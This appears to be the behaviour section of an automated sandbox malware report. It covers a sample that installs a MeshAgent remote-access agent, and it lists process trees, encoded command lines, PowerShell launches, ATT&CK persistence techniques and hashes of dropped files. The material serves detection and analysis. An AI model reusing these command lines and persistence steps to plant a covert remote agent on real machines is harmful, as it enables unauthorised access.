C:\Program Files\docs\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5828
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:828 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1340
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1044
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1296
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5020
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3800
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2452
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.db
- Size 188KB
- SHA256 efe4e65b7696e987c88b3392d76fe097a87314cc6d5629f8723b6638a300cee4
- MD5 68163a5fed1e9ab48f6d27f851382194
- SHA1 480896d648658c94f165ac8f1dc84c50d4b0be16
- SHA512 b8bb14abc4a62f8ea6bbf8f50cfd8edabef1f53cac2dfbd4cdb6648f6a4cfef85ccf607dcb2361ceba219902a491d37c33d17fcfdb69d538d46b7eaf3193da9a
- SSDEEP 3072:dV9nPlmAIpHPQYnn8VcYvhZmDIo4pEm4UkWVEp6WaPOHob4Lrbd5Fdk:T9n9mtpH78Ja4aopVtvb4LPPk
- TLSH T10F14F1950E3EA13B2F9713D2186F8C35BBC80334832244548EEF541D86BB359E6AF5A7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.db
- Size 188KB
- SHA256 8fc5b076c0c7bbe4a7380414531cc60e5d6e8efc30cead41d4e923168e3661b8
- MD5 81f722a2017bd35699de8fa4e8082450
- SHA1 57b6b05483c373ad72bd654532883d805c089b33
- SHA512 695d0c3e844fc768b2dfebde5762124025c832de13d231e5d662b156b018ed2fcfd2987ef4f0a076d84c0a064dfde3a4948ebc773ef1769678df8f66da1e32ae
- SSDEEP 3072:KNV9nemAIpHPQYnn8VcYvhZmDIo4pEm4UkWVEp6WaPOHob4Lrbd5Fdk:69nemtpH78Ja4aopVtvb4LPPk
- TLSH T12F14F1950E3EA13B2F9713D2186F8C35BBD80334832244548EEF141D86BB359E6AF5A7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
- Size 362B
- SHA256 d3a4672594cd8bbc84fc685bf20c7edcd079c64559896ae72de412d53762aa4a
- MD5 856e26736ab152545a8bfe76a75a1466
- SHA1 5e53180fe35e5a35cc49fd48d64f2d17291352a4
- SHA512 4891e2a44889af974e7e4a76e9a42fd1bbf027c9400ec6e11fb832b8f1fed93112d5dc06faec3f9cea7b3802dc5c357092a4cde19cb7d043cf1d9f10336e86a9
- TLSH T129E068C9F8AC142FF032319D7EB82F02016F350000E0CE1322C04A189882C4FFD0342D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
- Size 543B
- SHA256 e64a167c0c5952c2b6f45a17271c55cf9738164adb9c5c04b20db494407641ef
- MD5 37e1d73d649282a97955852b15178eaf
- SHA1 320522d9ac1cbc9d486f1c380e2271929780bd31
- SHA512 7d115bf714b6e6be749f37e01adcd6322136e2d44fbacdc0e9ffcf74f78726cc9fef4da79d1e84533b3ac559b16f2cff6d037a00224ea92f899c6ee26270b333
- TLSH T115F02BD9F8AC192FF136319D7EB86F16416F350401E0CE2321D54A149892C4FFD4356D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
- Size 724B
- SHA256 f562fd81370a3fef9244cb7ebaea0820f948079dacd3ab943aba7e27155911af
- MD5 bfb2e88e21eb3565b7addb3b1dbaa762
- SHA1 118774f664d10cdcabe1d8c96a178c2a6ead8cd2
- SHA512 9e3ea0e7adabc6c60291764a7947f8f0f73c7f1fb4837eaff7a469c16e6a3b4c715b95b7099d93f397a51f714557ddaeaa6d22d57699caa9e4e827acdcd1b9cf
- TLSH T19201FCD9F8AC192FF136319D7EB86F16416F3A0401E0CE2321D54A159892C4FFD4356D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
- Size 905B
- SHA256 cb9e18b5ce933eff5d2e1a05b606bf56f3199db50e20359b2e9fd2967ca04859
- MD5 65a10639df0539c7da2fb13b7b8d96cc
- SHA1 1f212300b0ca2f2f22a258a2a72187be4a82cc10
- SHA512 c3a8b69b36839f7b58cd0a7de87348f5fb80599681637b3c617566602bd6b23e8735be6cdc6a81ea27d5f813e3e9dfcd96ecdff4351d05b5e020bef2d14cb8d8
- TLSH T16411CAD9F8AC192FF136319D7EB86F16416F3A0401E0DE2321D54A15A892C4FFD4356D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
- Size 1KB
- SHA256 dbb4dce4e05d31cab6576990e3c1b90528c5e2750b5d93fc93c5fe91dd46a624
- MD5 72aa2322997d89aa802663fef4877353
- SHA1 61c9ef3f9cf7d795421873c603ff0670d7fe1011
- SHA512 3b3efe974757e76d5f152691e2f89c71f2ca62984a1f9fcb05a271c72db8a7b2cf89c355b3ce962e24d408f2d5548c04be05ff8d40cec69f2821dd1a43e417c7
- TLSH T1DE11A8D9F8A8192FF136319D7EB86F16416F3A0401E0DE2321D54A15A992C4FFD4356D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\docs\Mesh Agent\MeshAgent.msh
- Size 27KB
- SHA256 0af1b0659a3cd2e29dfb80e0d8bd18597f06ca0ee5f8505b3bf75d5122e68a53
- MD5 2832f656f1e07e6f1880cfe7ee0551a9
- SHA1 bf66b0fa9e57d6438308e453f4bc07ba39e46702
- SHA512 edbfdc2dcae92496aae2c4222af9289dd6d3f0018a73a8dc1f4ad91656d2e7d71189d63e827211bec8c638b6a04f31ec71233368b99ddea23e31090d8e2e0ba2
- SSDEEP 384:pnpCFryXuWlcXyNNSpyBYrnQCGVbWK6rfjVaiZFuyMPHMLLDjVqn6G:JpCVClVxYrQCkW9wWFut0LY
- TLSH T17CD2D92D8EADA43F2FD623812C0F4D3177E80B34835309056DEF581A827A79DE66F5A5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe
- Size 3.3MB
- SHA256 26df3918926645c0cc830fe30a998b1a9a390d6327045226c98c323353f266d9
- MD5 252bf3ae8bc9380d3e4bc7f976abab18
- SHA1 b0382c89820dac11be62e90ce496d75b59440b31
- SHA512 13d174001ce00d2c442fa7ff7a6ed2a188fda75563a9071069dc028829595811fda649e6aa25f5b3b4fd038e9373b341b7ca4456a8f2aa858133adcc68675b5c
- SSDEEP 49152:sMSGj9zai9bsddr7AaPcZumeRQyKpzSPQBcnMFvf8AC4Z78bRwlI5fB:pd9AddBcryO3cICgI9B
- TLSH T144F57CD2A7A600E8E977F23CC5568517E7F2B81713709BCF25A44A660F236D12B3E742
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemTemp\__PSScriptPolicyTest_25zxw40s.oxb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 1KB
- SHA256 9755b1e9f88f8306c157dd6385673f972e974cb6cb353821ae00cc72f5e6ba9b
- MD5 95a17cf701203572bbc983b573ba23f8
- SHA1 ad38aca703c2a852e9149c7b0972e0c6a90218a4
- SHA512 796d9127bf828cbe356562c6a2336a713aa063ee1b657819ef2b93aba9cb28e90436ad476127870045e9ca924432e4b027c1f1e7761cc08cf56a43fbe26245d9
- TLSH T14D316833B3DC8BA1D88A417E10D99C6031B7C7C790AECEDB6B9CD564A02F697CE61560
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 1KB
- SHA256 86f7aa51394ad7daf982868d436f0c81c031c7e2f8c8ab1615825d171f31348e
- MD5 055c74655a01ab264fba0ad6b3ad240d
- SHA1 3ab1becaaeda8d52fa9608f5fc458536c6f11423
- SHA512 b82b495df53b85eb155dafd69119a888e4148c828bf1519e65661e0835f4a099fcb4a9e3dc7472c19ad2680005e1f4a54e3cb6976fe583a04fde3372c02882e2
- TLSH T1EC318833B3DC8B12C88A417E20C99C5071AAD7C791AECF9B6B9CD554A02F697DA60560
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 1KB
- SHA256 a54f630d9d20229526c11533fe82c6cd17ee730349f66a6ff19998ddc0b8e722
- MD5 ca3454d622977363a469f68f79dfe635
- SHA1 088f63bc2c95b60c8faeeceae8c1bee5f16cd15c
- SHA512 129e2c90058461d27055e9effa84bbdd17375b07ca61b9329b96acec49b7649b845660e2a4a70bbd885d20a07566775ca7fa8233dc792a2b722a79859b98d360
- TLSH T1FC31B833F3DC8B12C88A417E10C99C1071AAD3C781AECF9B6B9CD165A02F297CA60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 1KB
- SHA256 eb85e2c88745c98292dc1eddac1b6a6c8e939d8ef2c78c386f9baaab9a75f731
- MD5 8fa4ea82762e414af514e63b1a1581dc
- SHA1 64d37961d0526b1f656dca26657c241646ac7955
- SHA512 01ba89d2f9a5f8e671c330ed3854d205f30cba9c26af71838818daa87dcd70d58bda64992df384b2fe7de23fdbc53d35d7abaf0fb894b0e17cdbf5d6e89cf24e
- TLSH T17731AB33B3DC8721C88A417E10DD9C5031BAD7C790AECF9BAB9CD555A02F697DE605A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 1KB
- SHA256 fa29444ecb39d706529596a36f8e5aa4236ed653e49fef7a2e9ed56bdaaf5112
- MD5 968fea83e0fdb07fba1d35698d89d611
- SHA1 8cf1678e2086f8ffe593520103fedeafb70bf266
- SHA512 24d8f639496dfc14a27b026550e23fa9143fa2a2b4a8e585b41d194bac5d5d76478b85c53c199a6cfdb47b8924746f3e1870245f90107d3b14d0b6ebda26bae0
- TLSH T103317733B3DC8B61C88E417E10D99C6031A6D7C790AECF9B6B9CD564A02F697CE60560
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\F2F974C76C8D46979DEF029C54C73AC281B1205A
- Size 1KB
- SHA256 ad7c76b9ec32b6fdfa170758c7507ff8af8a9dfbe46842ab1522961f167a26f5
- MD5 dd8e0a51fce18039523b335af3cef724
- SHA1 234efc57ecf74061b1b2d45ed70f50e7954d77b1
- SHA512 ace5b7f65861ea32f263ca093ae54af094622bf7f256f12bbba40fb40b330c7f800f94b5ce7393f0c21ed88de0d8159ffa8c1ef4200077a8ca7eb10514c80ca8
- TLSH T1182154177BF81F2AFD822EF4F668AE249E75B6850132DC5F741A55C81C0BF910726386
- MD5 SHA1 SHA512 TLSH